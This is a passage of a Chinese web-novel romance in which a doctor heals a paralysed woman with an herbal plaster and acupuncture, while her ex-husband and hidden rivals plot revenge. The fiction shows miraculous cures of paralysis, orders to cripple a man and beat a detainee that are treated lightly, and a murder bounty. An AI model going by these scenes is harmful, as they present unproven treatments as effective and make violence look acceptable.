舒星若有信心让唐梵很快坐起来,然后是站起来,而这台轮椅,无疑是给了唐梵最直接的希望。
唐梵在被护工抬进房间,看到这一切的瞬间,眼泪就毫无征兆地滑落下来,“舒医生,你这么有信心治好我吗?”
“放心,当年季宴礼伤得比你严重多了,你看他现在,不照样生龙活虎到处惹是生非吗?”提到季宴礼,舒星若就想起苏容泽那张受伤的脸,心
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里又是一阵揪痛。
那个男人,总是这样默默地为她做好一切,却什么都不说。
安顿好唐梵后,天色渐晚,季知许放学了,是司机接回来的。
小家伙一踏入家门,就闻到了一股医院特有的消毒水味道,顿时小脸一白。
他紧张地四处张望,大喊:“妈妈,妈妈你在哪?”
在唐梵的病房里找到舒星若后,他像只受惊的小兔子一样扑过去,紧紧抱住舒星若的腿,长长地松了一口气。
“许许,在旁边等我,妈妈正在帮唐阿姨治疗。”
季知许乖巧的坐在沙发上等待。
舒星若将一贴调好的深褐色膏药用文火加热,浓郁的药香瞬间弥漫了整个房间。
“这是我自己以前琢磨的续骨膏,效果不错。”她一边小心地将温热的膏药敷到唐梵的腰部要穴,一边解释道,“药膏由骨碎补、土鳖虫、自然铜、血竭等二十余味药材组成,能活血化瘀、接骨生髓。”
膏药贴上的瞬间,唐梵只觉得一股暖流从腰部缓缓渗入,像冬日里的暖阳,温柔而有力地驱散了盘踞了几日的寒气与麻木。
紧接着,那股暖流顺着脊椎向下蔓延,所过之处,原本毫无知觉的下肢,竟然传来了一丝微弱的、久违的痒意。
不是幻觉!
唐梵欣喜若狂,激动得声音都在颤抖:“舒医生,我感觉到了!我的腿有感觉了!天哪,你这也太神奇了!”
舒星若笑着说:“这下你该放宽心,我可以救你了吧。唐姐,你不用叫我舒医生这么生分,叫我星若就行了。”
“好的,星若。”
舒星若接着说道:“如果快的话,下周你就可以坐轮椅,到时候每天早晚我带你出去散步。”
一旁的柯依晴开心的鼓掌,“太好了,妈妈不用一直卧床了。”
季知许这才注意到这个漂亮的小姑娘,他眨着那双机灵的大眼睛问道:“你和你妈妈要住我们家吗?”
舒星若转过身来:“嗯,唐阿姨腿好之前他们都住我们家。这是晴晴妹妹,她也去读你们幼儿园,应该会和你同班。”
季知许反应有点冷淡,哦了一声。
“那妈妈我上楼玩去了,一会吃饭再下来。”
“好!”
舒星若让佣人带柯依晴回客房,接下来她还要给唐梵扎针。涉及到周身几处大穴,会很痛,她怕吓到孩子。
“舒阿姨,我想留下来陪妈妈。”
唐梵说:“晴晴乖,等妈妈治疗完你再下来。”
柯依晴这才恋恋不舍的上楼去了。
舒星若拿出针囊正准备施针之时,苏容泽的电话打过来了。
舒星若赶紧接起来:“容泽,你没事吧?你的伤要不要紧?”
第141章 我做一切都是为了你
“我的伤?”苏容泽的声音里透着疑惑,舒星若声音里的颤抖,让他心头又软又暖。
“若若,我没事。就是没忍住,跟季宴礼那个疯子动了手,一点皮外伤,不影响我英俊的脸。”他故意用轻松的语气调侃,想让她彻底安心。“你是怎么知道的。”
想起这事舒星若就来气:“季宴礼发给我的,照片里你看起来很严重。”
苏容泽听出来她的担忧,安抚道:“若若,他是故意扰乱你的心神,好让你分心。”
舒星若觉得他说得有道理,季宴礼果然一如既往的没有下限,幸好自己抽身离开他了。
舒星若紧绷了一天的神经终于彻底松懈下来,整个人像是被抽走了力气,软软地靠在沙发上,长长地舒了一口气:“没事就好,没事就好。”
“你和宗司辰怎么回事,电话一个都不接?”舒星若缓过劲来,开始兴师问罪,语气里带着连自己都没察觉的娇嗔。
这个男人,一声不吭就失联,知不知道她魂都快吓飞了。
苏容泽听着她的嗔怪,心里被蜜糖填满,她这么在意自己,这种感觉比签下几个亿的合同都让他满足。
“你们刚上救护车,我们就跟柯兴昌去万鑫开会了,跟他们的管理团队磨了半天签约细节,手机都调了静音。这不,刚从会议室出来。”
舒星若忍不住低声骂了一句:“都怪季宴礼那个混蛋,夸大其词,故意吓唬我!”她还是不放心,补充道:“一会你不忙了,必须跟我视频,我要亲自检查。”
“好。”苏容泽的声音里满是宠溺,这才刚分开多久,他就已经开始想她了。
“若若,我这边可能还要待几天,等样品测试结果出来。柯兴昌那个老狐狸还要跟我磨价格,估计要元旦前一天才能回去。家里的事你别操心,我都安排好了,你安心给唐梵治病。”
“嗯。”
“爱你,宝贝。”苏容泽温柔又满含爱意的声音,像羽毛一样轻轻拂过舒星若的心尖。
“我爱你,等你回来。”
挂了电话,舒星若调整好情绪,回到病房准备给唐梵针灸。
她看着唐梵,认真道:“唐姐,接下来的治疗会非常痛,像是把骨头拆开重组一样,你要有心理准备。”
唐梵的眼神却异常坚定:“没事,只要能站起来,我都能忍。”
舒星若不再多言,取出一排锃亮的银针,屏息凝神,找准穴位,快准狠地刺入环跳、委中、阳陵泉三处穴位。
剧痛如海啸般瞬间席卷了唐梵的全身,仿佛有无数根烧红的铁锥刺入骨髓。她忍不住痛呼出声,在这寒冷的大冬天,额头瞬间布满了细密的汗珠。
舒星若面不改色,手法沉稳,继续强刺足三里、三阴交。
唐梵感觉身体密密麻麻的痛,亿万只毒虫在啃噬她的血肉和神经。紧接着,舒星若捻转针尾,以特殊的补泻之法,强行催动她体内凝滞的淤血加速代谢。
疼痛感陡然又加深了一倍。
在留针的半小时里,唐梵感觉自己的四肢百骸都在被凌迟。
舒星若打开手机,播放了一段心经,柔声在她耳边引导:“唐姐,万事开头难,这是打通你堵塞经络的必经之路。跟着音乐,深呼吸,把注意力从疼痛上移开,想象暖流正在修复你的身体。”
唐梵咬紧牙关,听着那空灵的经文,努力配合着深呼吸,在无边的痛楚中苦苦支撑。
半小时后,当舒星若将最后一根银针取下时,唐梵像刚从水里捞出来一样,浑身都湿透了。
但极致的痛苦褪去后,一股前所未有的轻松感涌了上来,她惊喜地发现,自己麻木已久的脚趾,竟然传来了微弱的知觉。
她虚弱地笑了笑,眼神里却满是坚韧和庆幸:“幸好晴晴不在,不然这副鬼样子,非把她吓坏不可。”
“晴晴很乖,你放心。”
舒星若立刻叫来护工,帮唐梵擦洗身体,换上干净的舒服的衣服。
刚安顿好唐梵,舒星若的父亲舒延兆就找了过来,显然也是不放心她。
舒星若走到外面的客厅,看见舒延兆手里拿着一张泛黄的老照片,神色无比凝重。
照片是几个年轻男人的合影,其中一人,赫然就是王展鹏的年轻版。
照片里的王展鹏,正意气风发地和年轻时的舒延兆站在一起。
舒星若的记忆力超群,小时候在家中见过这张照片,此刻两相对照,难怪她第一眼就觉得那个王展鹏莫名熟悉。
“王展鹏是我的大学同学,当年我们一起学的都是中医。”舒延兆的声音低沉,带着压抑的怒火,“只是他早就走上了歪路,为了赚快钱,什么都敢干,病人的死活在他眼里一文不值。这些年靠着坑蒙拐骗,倒是赚得盆满钵满。你怎么会惹上他?”
舒星若将唐梵被季宴礼介绍给王展鹏,准备参照她写的日记治病说了一遍。
舒延兆听完,气得脸色铁青,猛地一拍桌子:“季宴礼真是无耻到了极点!为了讨好他的客户,竟然把你当年呕心沥血研究出来的药方,拱手送给王展鹏这种医学败类!”
舒延兆一字一句,斩钉截铁,“季宴礼这种人,就算他有金山银山,你也绝对不能跟他复婚!”
话音刚落,玄关处传来一声轻响。
季宴礼正提着一个精致的礼品盒走进来,他本想来解释和道歉,却恰好将舒延兆这句判他**的话听得一清二楚。他脸上的表情瞬间凝固,
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脚步也僵在了原地,手里包装精美的盒子“啪嗒”一声掉在地上。
他心底一片冰凉,只有一个念头在疯狂回响:“完蛋了,我这是彻底没希望了吗?”
玄关处死一般的寂静。
掉落在地上的礼品盒,发出的那声“啪嗒”脆响,仿佛一个开关,将空气瞬间抽干,只剩下令人窒息的凝滞。
季宴礼僵在原地,脸上的血色以肉眼可见的速度褪去,只剩下苍白。
他看着舒延兆那双几乎要喷出火来的眼睛,又瞥向舒星若,她脸上没什么表情,可那双清冷的眸子里,却像是结了一层厚厚的冰,寒得刺骨。
最先打破这片死寂的,是舒延兆。
他像一头被激怒的雄狮,一步跨到舒星若身前,将她牢牢护在身后,指着季宴礼的鼻子,声音因极度的愤怒而微微发颤:“你还有脸来这里?季宴礼,我们舒家是刨了你家祖坟吗?你要这么来糟践我家若若!”
季宴礼的喉结艰难地滚动了一下,他弯腰捡起地上的盒子,往前递了递,声音干涩:“外公,您误会了,我今天是来……”
“误会?”舒延兆一声冷笑,打断了他的话,那笑声里满是鄙夷和不屑,“我亲耳听到的还能是误会?你把若若当年废了多少心血才研究出的药方,随手就送给了王展鹏那种**,这也是误会?”
舒延兆越说越气,胸口剧烈起伏:“你知不知道那方子对若若意味着什么?那是她熬了多少个通宵,翻了多少本古籍,失败了多少次才得来的心血!当年多少人让她放弃你,她没有放弃,你对他冷淡至极。她心里憋屈,写下了治疗日记。在你眼里,就只是个可以拿来讨好客户的工具?”
季宴礼百口莫辩,脸色愈发难看。因为舒延兆说的,每一个字都是事实。
他无法反驳。
这时,一直沉默的舒星若终于动了,她从舒延兆身后缓缓走到季宴礼面前。
她没有歇斯底里,没有质问,甚至连声音都是平静的,但平静之下,是比万丈冰川更冷的寒意。
“季宴礼,”她抬起眼,静静地看着他,“我只问你一件事,倘若今天唐梵接受了王展鹏医治,你是不是就把我的日记彻底卖了?”
她的眼神像一把最锋利的手术刀,要将他层层剖开,看清里面最真实的东西。
在她的注视下,季宴礼感觉自己所有的伪装和辩解都显得那么可笑。他艰难地点了点头,喉咙里挤出一个字:“是。”
舒星若忽然笑了。
那笑容很淡,却带着一股说不出的凄凉和自嘲,一切都像是一场冤孽。
季宴礼开口道:“星若,你听我说,你知不知道,我做这一切都是为了你回心转意。”
第142章 何欣还是过得太舒服了
“为了我,将我那么珍贵的东西送给别人?”舒星若环抱着手臂,似笑非笑的望着他,那笑意却像淬了冰,凉得刺骨。
季宴礼的表情瞬间碎裂,英俊的脸上写满了痛楚,仿佛她的话是一把无形的利刃。
“万鑫科技是东盛集团的大客户,苏容泽不是夺人所爱吗?我想让他也尝尝心爱之物被夺走的滋味!他就是这么对我的,他抢走了你!可我没想到,最后帮他力挽狂澜的人还是你。”
他的声音里带着浓重的鼻音,听起来委屈极了,像个被人抢了糖果的孩子。
舒星若却连眉毛都没动一下,她太了解他这副做派了。
“季宴礼,我不是你的所有物,以前不是,现在更不是。我再说最后一遍,我不可能回心转意,你也别再白费力气了。”
她顿了顿,语气愈发冷淡,“家里的密码我会马上改掉,以后不要再来了。”
提到密码,季宴礼眼底闪过怨毒。
他刚进来时,几乎没费什么力气,抱着试一试的心态输入了舒星若的生日,门就开了。
苏容泽那个男人,为了讨好她,连这种细节都做得滴水不漏。
真是个顶级心机绿茶男!舒星若怎么就瞎了眼,看不出死绿茶的真面目?
“星若,你听我解释。”季宴礼向前一步,试图抓住她的手,声音放得更软,带着哀求,“过去的误会都已经解开了,是我不好,是我混蛋,全都是我的错。你只要离开苏容泽,回到我身边,你要什么我都可以给你,你要我的命都可以。”
“呵。”一旁的舒延兆发出了讥讽之声,舒延兆抬起眼皮,那双历经风霜的眼睛锐利如鹰,“季宴礼,你口口声声说爱她,可你从来就没信过她的人品,甚至不了解她究竟是个什么样的人。你连最基本的尊重和信任都没有,谈何爱情?”
季宴礼的脸色一阵青一阵白,被这番话堵得哑口无言。
舒延兆气场全开,仿佛一位审判者:“你对若若所有的不甘心,都源于你输给了苏容泽。不过是男人可笑的胜负欲在作祟,得不到的永远在骚动罢了。”
他话锋一转,眼神陡然凌厉,“念在你当年确实救过若若的份上,你今天擅闯私宅以及出卖若若的事,我不跟你计较了。但是,王展鹏那个烂人,你必须亲手处理干净。”
舒延兆刚从舒星若嘴里得知了整件事的来龙去脉,王展鹏因为舒星若断了他两千万的财路,以那种人的阴狠心性,绝不可能善罢甘休,必定会像阴沟里的毒蛇一样,随时准备伺机报复。
季宴礼像是抓住了救命稻草,忙不迭地答应:“外公您放心,我这就办,我保证王展鹏再也没有机会出现在她面前,更别说报复了!”
他立刻掏出手机,当着他们的面拨通了电话。刚才还满脸悲伤乞求的男人,此刻语气森寒得像是来自地狱的恶鬼。
“王展鹏,处理一下。让他下半辈子,只能在床上看天花板。”
电话那头只传来一个字:“是。”
这雷厉风行的狠辣劲,让舒星若的眉心不易察觉地跳了一下。
季宴礼确实有这个本事,但连外公都嗤之以鼻的败类,她也懒得浪费一丝一毫的同情心。
“季总,事情也办完了,请自便吧。”舒星若毫不客气地下了逐客令,“我就不留你吃晚饭了。”
季宴礼还想再说点什么,磨磨蹭蹭地不想走。可一抬眼,对上舒延兆那双威严冰冷的眸子,所有的话都卡在了喉咙里,最后只得像只斗败的公鸡,悻悻地转身离开。
他刚走到院子里,一个佣人快步追了上来,将地上那个被他丢下的礼盒捡起,面无表情地递到他面前。
“季总。”佣人语气客气却不容拒绝,“这是舒小姐吩咐我交给您的,请您收好,不要让我难做。”
佣人的这几句话,比任何羞辱都来得更猛烈。
季宴礼的心像是被一只无形的手攥住,狠狠地拧了一把,疼得他几乎喘不过气来。
他死死地盯着那个礼盒,脑海里全是过去六年来舒星若在他身边,满心欢喜给他准备新年礼物的样子。
每一年的礼物她都精心准备,从不重样,可是他连看都不看。
窒息感再次如潮水般扑来,他在心中一字一句的发誓:“我一定会把她抢回来。”
曾几何时,那个爱他如命的女孩,现在连他的一份礼物都视如敝履。
巨大的**和愤怒在他胸中翻涌,几乎要将他整个人点燃。
他接过礼盒,转身走出大门,慢慢往回走。
那张悲伤的俊脸彻底撕碎,取而代之的是一片阴鸷和狠戾。
他拿起另一个手机,眼神冷酷如冰。
“何欣在里面,过得太舒服了。”他的声音没有一丝温度,“帮我好好‘招呼’她。”
拘留所里,何欣本就过得生不如死。
季宴礼早就打过招呼,这里任何人都可以欺负她。每天不是殴打就是羞辱,何欣从来没有这样**过。
她进来时身上的伤还没好全,如今旧伤添新伤,几乎没有一块好皮肉。
在这人间炼狱里,她连寻死都是一种奢望。
可身体越是痛苦,她对舒星若的恨意就越是疯长。无论那帮人怎么折磨她,她都咬紧牙关,绝不供出幕后主使。
她知道,自己这辈子是没希望走出去了。
那就这样吧。
她出不去,舒星若也别想好过。她要拉着舒星若一起下地狱!
那个人是绝不会放过舒星若的。
想到这里,何欣布满血丝的眼睛里,闪过诡异而满足的笑意。
“舒星若,我就等着听到你死的消息。”
迎接她的又是一顿折磨人的法子,何欣在他们的拳打脚踢中死死的护住头,只要她不死她就等着看舒星若的下场。
别墅里,佣人手脚麻利地的端出来晚饭,将空间留给了祖孙二人。
“外公,”舒星若走到舒延兆身边坐下,主动为他续上一杯热茶,“您别为这种人生气。”
“我不是气他,”老人缓缓开口,声音沉稳如山,“我是担心你。季家那小子,偏执得像头疯牛,撞了南墙也不会回头。他今天敢硬闯进来,明天就不知道会做出什么更出格的事。”
“他不敢。”舒星若语气笃定。
“他是不敢动你,可他会动你身边的人。”舒延
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兆放下茶杯,转头看向她,眼神里是化不开的疼爱与忧虑,“尤其是苏容泽。在季宴礼眼里,苏容泽就是原罪。”
舒星若的心微微一沉。外公的话,一针见血。
“还有那个何欣,”舒延兆继续说道,“她背后的人,才是真正藏在暗处的毒蛇。何欣宁可在拘留所里被折磨得不成人形,也不肯松口,这说明她背后的人给了她无法拒绝的筹码,或者让她有无法承受的恐惧。这条线不揪出来,你始终睡不安稳。”
“外公,我知道了。”舒星若挽住舒延兆的手臂,将头轻轻靠在他的肩膀上,像小时候一样撒娇,“您放心,我不是以前那个任人拿捏的舒星若了。苏容泽也不是软柿子,我们能处理好。”
“嗯,长大了,有自己的主意了。”舒延兆拍了拍她的手,“你跟苏容泽一切都好,我就放心了,这小子人真不错,对你事事上心。我最近在研究家里那个古方,或许你还能怀上,到时候再生个漂亮的小女孩,我跟你外婆就满足了。”
在他眼里,他和宁可芳终究会离开舒星若,摊上季宴礼那样的前夫,不找个靠谱的男人还真压不住。
舒星若被外公这突如其来的调侃弄得有些不好意思,脸上泛起一抹微红,“外公!”
祖孙俩正说笑着,气氛温馨。
与此同时,深市一间风格极简、宛如艺术馆的顶层办公室里,巨大的落地窗外是璀璨的城市夜景,室内却只开了一盏幽暗的落地灯。
一个身形颀长的男人背对着窗户,坐在宽大的办公桌后,指间夹着一枚黑色的围棋子,正对着一方棋盘独自沉思。
桌上的内线电话无声地亮起,他按下免提,一道恭敬的男声传来。
“先生,季宴礼失败了。他去了舒家,被舒延兆当面训斥,灰溜溜地走了。”
男人闻言,似乎毫不意外,只是将手中的棋子轻轻落在棋盘上,发出“嗒”的一声脆响,打破了室内的寂静。
“废物。”他吐出两个字,声音平静无波,却比任何怒吼都更让人胆寒。
“另外,他动用关系加重了对何欣的惩罚,想逼她开口。”
“哦?”男人终于抬起头,灯光勾勒出他线条分明的下颌,唇角逸出一丝冰冷的笑意,“他以为这样就能问出东西来?天真。”
他顿了顿,仿佛在欣赏棋盘上的绝杀之局,慢条斯理地吩咐道:“既然季宴礼这把钝刀不好用,那就换个玩法。他不是想抢万鑫科技,让苏容泽体会切肤之痛吗?这个思路不错,可惜,执行的人太蠢。”
电话那头的人屏息等待着。
“给苏容泽送份大礼。”男人落下最后一子,棋盘上的白子被围困得再无生路。“他不是自诩为商业奇才吗?那就让他尝尝,从云端跌落泥潭,是什么滋味。”
“明白。”
“记住,要快,要狠。我要让舒星若亲眼看着,她选的男人,是如何在她面前一点点崩溃,最后变成一条一无所有的丧家之犬。”
男人的声音里带着一种病态的、扭曲的快感,仿佛这一切对他而言,不过是一场有趣的游戏。
电话挂断,办公室里重归寂静。
第143章 我要做你的枕边书和怀中猫
深市,刚刚结束谈判的苏容泽,拿出手机正准备给舒星若打电话,却进来一个电话。
是东盛集团子公司化蝶游戏的老大。
他声音十分焦急:“苏总,糟了。我们正在内测的核心代码,被人从外部攻破,全部泄露出去了!现在国外好几个开源社区都能下载到我们的底层架构,我们这款新游戏算是彻底完了。”
苏容泽脸上的轻松惬意瞬间褪去,取而代之的是一片冰冷。
化蝶游戏的核心代码,是他们团队耗费许久心血的结晶,也是公得重大IP。
现在,被人扒光了衣服,赤裸裸地扔到了全世界同行的面前,成了彻头彻尾的笑话。
一阵凉意从头到脚的蔓延至苏容泽的全身。
这绝不是普通的商业竞争,这是精准、致命的毁灭性打击。
还没等他做出下一步指示,宗司辰神色慌张地冲了进来,“苏总,港城那边传来消息,有几家机构正在联手,准备恶意做空我们的股票。”
一波未平,一波又起。
苏容泽深吸一口气,眼神变得无比锐利。
他立刻意识到,这不是巧合,是对手的精心设计。
对方的一套组合拳快得不可思议,明显是蓄谋已久的。
他没有丝毫慌乱,反而有一种暴风雨来临前的极致冷静。
他拿出卫星手机,拨通了那个熟悉的号码。
“叫兄弟们帮我查一查,是谁动了化蝶游戏,要快。”苏容泽的声音透过电话听筒,带着森冷的寒意。
对方毫不犹豫地答应,他料到苏容泽会来找自己,已经准备动手了。
随即好奇的问道:“查到之后你准备做什么?”
“让他连本带利的赔偿化蝶游戏所有损失。”苏容泽慢悠悠的走到落地窗前:“敢动我的东西,我不会让他猖狂太久。”
这一次直觉告诉他,不是季宴礼干的。
季宴礼虽然也想置自己于死地,但他狠在明处,他得手了就会作为交换舒星若的条件,来跟自己谈判。
而目前的这个对手,像一条潜伏在阴湿角落里的毒蛇,随时准备对他发动致命一击。
不管对方是冲着舒星若还是冲着自己,苏容泽都会将他揪出来。
一寸寸捏碎他的毒牙,再扔进地狱里。
“通知集团金融部,用公司账面上的现金流进行反击。明天开市,一定要保住股价。”
“好!”宗司辰立刻写了一封邮件,抄送苏容泽,发给金融部的负责人。
苏容泽猛地想起何欣当初是在一家地下赌场被抓的,这个线索一直被他怀疑。
他对着宗司辰吩咐道:“顺便查一查,何欣之前藏身的那家赌场,幕后老板是谁。”
宗司辰呼吸一滞:“苏总,您是怀疑他们有关系?”
“何宏至今活不见人死不见尸,要么早就被灭口了,要么就是被藏起来,酝酿着更大的阴谋。”苏容泽的目光仿佛穿透了整个黑夜,“对方大动干戈地用何欣和孕妇兜了那么大一个圈来毁若若的事业,一招未得逞,你觉得他会就此罢休?”
苏容泽冷静地分析:“季宴礼那些折磨人的手段,何欣撑了那么久都没吐出来,只能说明他们之间达成了某种协议。一种高于生死的协议。”
宗司辰应了声,只觉得办公室的冷气开得太足,一股寒意从脊椎骨直冲天灵盖。
他跟了苏容泽这么多年,见过豺狼,斗过虎豹,却从没碰到过这样藏头露尾,又如此难缠的对手。
苏容泽回到酒店,洗了个热水澡,冲淡了他身上的寒意。
他刚裹上浴袍,正准备给舒星若打视频,她的视频通话恰好弹了出来。
他嘴角上扬,他的若若想他了,随手解开了浴袍的腰带。
浴袍松松垮垮地挂在身上,袒露出线条分明的胸肌和清晰的腹肌,这才点了接通。
屏幕亮起的瞬间,舒星若的眼里就撞进了他那张英俊不凡的脸,以及往下延伸的、带着水汽的健硕肌肉。
双重视觉冲击之下,她感觉自己手机都快拿不稳了,下意识地吞了吞口水。
她清了清嗓子,努力让自己的声音听起来不那么像个女流氓,笑着调侃:“苏先生,大半夜的,你这是在用美色贿赂我吗?可惜我看得着摸不着,这下好了,我又开始加倍思念你了。”
苏容泽脸上一扫先前的阴鸷与冰冷,笑容清澈得像男大学生。
他声音却低沉喑哑,带着蛊惑人心的勾引:“若若,我想搂着你睡觉。我现在不喜欢一个人睡了,想做你的枕边书和怀中猫。”
这不就是个男妲己吗?
“妈呀!”舒星若的心脏被这只“野猫”挠了一下,痒得不行,“小泽泽,你是不是背着我去报了什么撩人进修班?这情话一套一套的,谁教你的?”
苏容泽看着她泛红的苹果肌,心情大好,一脸的春心荡漾:“无师自通,就是想你了。今天给唐梵的治疗怎么样?”
“挺好的,外公晚上来了,他老人家火力全开,把季宴礼从头到脚臭骂了一顿,骂得季
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宴礼一个字都反驳不了。”舒星若说得眉飞色舞。
“吃完饭他还给唐梵号了脉,夸我治得不错,唐梵恢复指日可待。”
苏容泽精准地提取到关键字:“季宴礼他怎么进的家门?”
说起这个,舒星若娇嗔道:“还不是怪你,家里的密码非要设成我的生日,他那种人精,一猜就猜出来了。”
她顿了顿补充道,“我已经改了,新密码发你手机上了。”
苏容泽点开消息一看,是一串六位数的日期组合。
他脑子一转,瞬间明白了,这是他们第一次深入交流的日子。
他忍不住“龌龊”地笑了起来,满脑子都是那天晚上和舒星若在一起的旖旎风光。
更加的想她了,想她的人,也想她柔软的腰肢。
“还是我们家若若的小脑瓜子好使,这个密码,全世界只有我们俩知道。”
舒星若见他笑得那副不怀好意的样子,脸颊羞得通红,连忙解释:“我就是想不到别的数字了,怕季宴礼又猜到,才想起用这天的组合,你别瞎联想。”
“懂,我都懂。”苏容泽拖长了语调,眼里的笑意更深了。
闲聊了好一阵,才依依不舍地挂断了视频。
翌日中午,一则重磅消息传遍了整个医药圈。岑茵蘅在办公室被警方带走了。
罪名是盗取公司重要商业机密,准备卖给国外竞争团队,据说光是定金就收了三千万。
而揭发这一切的,正是季氏集团的网络安全监管部门。
舒星若听到这消息的时候,正在家里处理行止生物的事务。
她端着花茶,看着手机上的新闻推送,忍不住吐槽:“瑞祥生物这是什么运气,专招卧龙凤雏的吗?先有一个脑子进水的何欣,又来一个野心比天大,还暗恋季宴礼的岑茵蘅。”
岑茵蘅对自己的敌意,股东大会那天她就感觉出来了。她当时还想着岑茵蘅拿下季宴礼就好了,这样他以后就不会隔三岔五的来烦自己了。
她摇了摇头,有些担忧,长叹道:“哎,那三款新药,也不知道还能不能按时上市了。”
正说着,佣人敲门进来,表情有些为难:“舒小姐,您那位前夫,又来了。”家里的佣人都知道她烦前夫哥烦到天上去了。
舒星若听到“前夫”两个字就太阳穴直跳,毫不掩饰地翻了个大大的白眼,将手里的平板往桌上一拍:“他又来干什么,瑞祥生物都出这么大的事了,他不在公司处理事情,非要跑到我这里来扯淡?”
第144章 季宴礼亲自请舒星若去做CEO
佣人看着舒星若,低声请示:“那我赶他走?”
“好!”舒星若头也没抬,指尖在笔记本触控板上飞快滑动。
既要处理行止生物堆积如山的邮件,又要分神去想唐梵下一阶段的治疗方案,哪有闲工夫搭理季宴礼?
他今天来,无非就是那些翻来覆去求复合的车轱辘话,她的耳朵早就听得起了厚厚一层茧。
得了命令,佣人立刻挺直了腰板,对着大门外的男人,露出了一个礼貌而疏远的微笑:“季先生,不好意思,我们小姐现在很忙,不方便见客,您请回吧。”
季宴礼英挺的眉峰拧成一个川字,他隔着雕花铁门,都能闻到院子里飘来的淡淡的梅花香味,那是舒星若最喜欢的味道。
被佣人客客气气地拒之门外,他心头窜起一股无名火,偏偏又发作不得,怕舒星若怒斥他。
他掏出手机,打给舒星若。
电话是秒接,不等他开口,舒星若清冷的声音就传了过来:“季宴礼,我很忙。”
“我知道你忙,”季宴礼压着性子,耐心说道,“星若,我今天来不是为了私事,是找你商量瑞祥制药的事。”
舒星若敲击键盘的手指一顿,觉得有些好笑:“瑞祥的事干嘛找我商量?我只是股东,又不懂你们公司的运作。”
“三言两语说不清楚。”季宴礼的声音里透着不容置喙的坚持,“星若,你让我进来,我们跟你讲一下细节。”
他那副笃定的架势,摆明了舒星若今天不放他进来,他就能在门口站成一尊望妻石。
舒星若无声地叹了口气,揉了揉发胀的太阳穴,打电话给门外的佣人,“让他进来吧。”
大门应声而开,季宴礼整了整西装下摆,迈着长腿走了进来。
他环视了一圈客厅,目光最终落在沙发上舒星若专注的身影上,开口的第一句话就带着质问:“你现在防我的心这么重?”
舒星若终于舍得将视线从屏幕上移开,像看神经病一样看着他,没好气地怼了回去:“你家大门的密码会随便告诉外人?”
“我怎么算外人?”季宴礼被她一句话噎住,快步走到她面前,语气瞬间软了下来,带着几分委屈,“我好歹是许许的爸爸,是你曾经最爱的人……”
“停。”舒星若抬手做了个打住的手势,眼神里满是警告,“别说这些没用的,说正事。我的时间很宝贵。”
季宴礼识趣地闭了嘴。
他轻车熟路地坐下,给自己倒了一杯温热的花茶。
那熟悉的香气萦绕在鼻尖,瞬间勾起了无数回忆。
他喝了一口花茶,润了润喉咙,这才进入正题:“瑞祥一时半会物色不到新的CEO,我想让你去上任,亲自盯着,尽快推进那三款药的上市进度。”
舒星若眼皮懒懒地抬起,眸子看向季宴礼,像是听到了什么天方夜谭,难以置信地问:“季总,你没开玩笑吧?整个行业那么多精英,会找不到一个合适的CEO?”
季宴礼放下茶杯,表情前所未有的郑重:“我没开玩笑。那三个古方临床效果太好,一旦上市,就是同类最优药,能撼动多少人的利益?这背后盯着的豺狼虎豹太多了,我不放心交给外人。星若,你就看在许许的面子上帮帮我,这也是帮你自己。毕竟瑞祥的股份你也有。”
这话倒是说到了点子上,舒星若没再说话,纤长的手指无意识地敲着桌面,陷入了沉思。
半晌,她才缓缓开口:“我也想瑞祥好,但是我实在是走不开。行止生物一堆事,唐梵的病需要我,我分身乏术。”
季宴礼早就料到她会这么说,胸有成竹地笑了笑,“我早就想好了对策。行止生物已经走上了正轨,日常运营不需要你事事亲为。我已经让猎头公司物色了三位顶尖的职业经理人,简历和背调资料都发你邮箱了。随时可以安排面试,你要是没空,线上面试也行。”
舒星若总觉得他挖了个坑等着自己跳,好看的眉头蹙了起来:“既然有这么优秀的人选,他们三个不可以去瑞祥胜任吗?”
季宴礼立刻摇头,一脸的后怕:“不行,我怕又请来一个内鬼。岑茵蘅就是最好的例子,一个不慎,整个公司都可能被拖下水。”
提到岑茵蘅,舒星若嘴角勾起嘲讽的笑容:“她不是因爱生恨吗?为了你,连商业底线都不要了。”
季宴礼的表情瞬间变得很是尴尬,原来她早就看出来了。不过岑茵蘅没有背叛自己,是他栽赃人家的。
岑茵蘅算不得无辜,季宴礼的人发现她打算从暗网雇老外来海市害舒星若,她已经发了十万刀的悬赏了。
幸好言永飞提前发现了她的杀气,不然舒星若又要受到伤害。
季宴礼生怕舒星若误会,急忙撇清关系:“我不喜欢她,我已经明确拒绝她了,是她自己拎不清。”
“那只能说明,还是季总你太招人了。”舒星若一边慢悠悠地打开邮箱,一边讽刺的说道。
前有何欣,后有岑茵蘅,外面还不知道有多少女人在惦记着他这块唐僧肉。
季宴礼被她堵得哑口无言,只能低头喝茶缓解尴尬。
舒星若点开简历,目光迅速扫过,当看到其中一份简历时,她的眼神停住了。
魏凤琴,这个名字她有印象。
简历上的照片是一位气质干练的中年女士。
舒星若想起来了,她们是旧相识,在去年的中医药大会上见过一面。
当时魏凤琴是一家老牌中医制药公司的高管,负责市场运作和管理,经验极其丰富。
那天药材展上,舒星若陪着舒延兆闲
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逛,正巧看到魏凤琴因为连续高强度工作,当场累晕在自家展台。
情况紧急,舒星若和舒延兆祖孙俩立刻上前施救,不仅让她转危为安,舒星若还顺手用几根银针,解决了困扰她多年的痛经顽疾。
醒来后的魏凤琴对祖孙俩感激涕零,非要留舒星若的电话,说改日一定要请她吃饭。
舒星若本想推辞,但魏凤琴态度坚决,后来也确实约过她几次,只是舒星若在家不愿意出门应酬,都给拒了。
没想到,季宴礼找的猎头竟然把她给挖了出来。
这次猎头联系上她,一听说是为舒星若的公司招人,魏凤琴当场就乐开了花,说能为恩人赚钱,是她的荣幸。
舒星若的嘴角不自觉地微微上扬,真是瞌睡了就有人送枕头。
舒星若当着季宴礼的面,直接拨通了魏凤琴的电话。
电话那头很快就接了起来,传来一道惊喜又有些不确定的女声:“喂,您好?”
“琴姐,是我,舒星若。”舒星若开门见山,“你现在方便说话吗?我这有个机会,想问问你有没有兴趣来我公司帮我?”
“哎呀,舒神医!”魏凤琴的声音瞬间拔高了八度,充满了喜出望外的激动,“方便方便,太方便了。您可算想起我了,别说去您公司帮忙,您就是要我这条命,我魏凤琴眼睛都不眨一下!”天知道她痛经了几十年,被舒星若治好的感觉有多爽:“您说吧,什么职位,什么时候上班?我明天就去办离职!”
这爽快劲儿,让舒星若都忍不住笑了。
“你薪资待遇要求怎样的?”
魏凤琴大咧咧的说:“我现在税前六万,你看着给。”
舒星若说:“那就给你八万+绩效,绩效具体方案我一会让人事发给你,没问题的话就签合同,越快上班越好。”
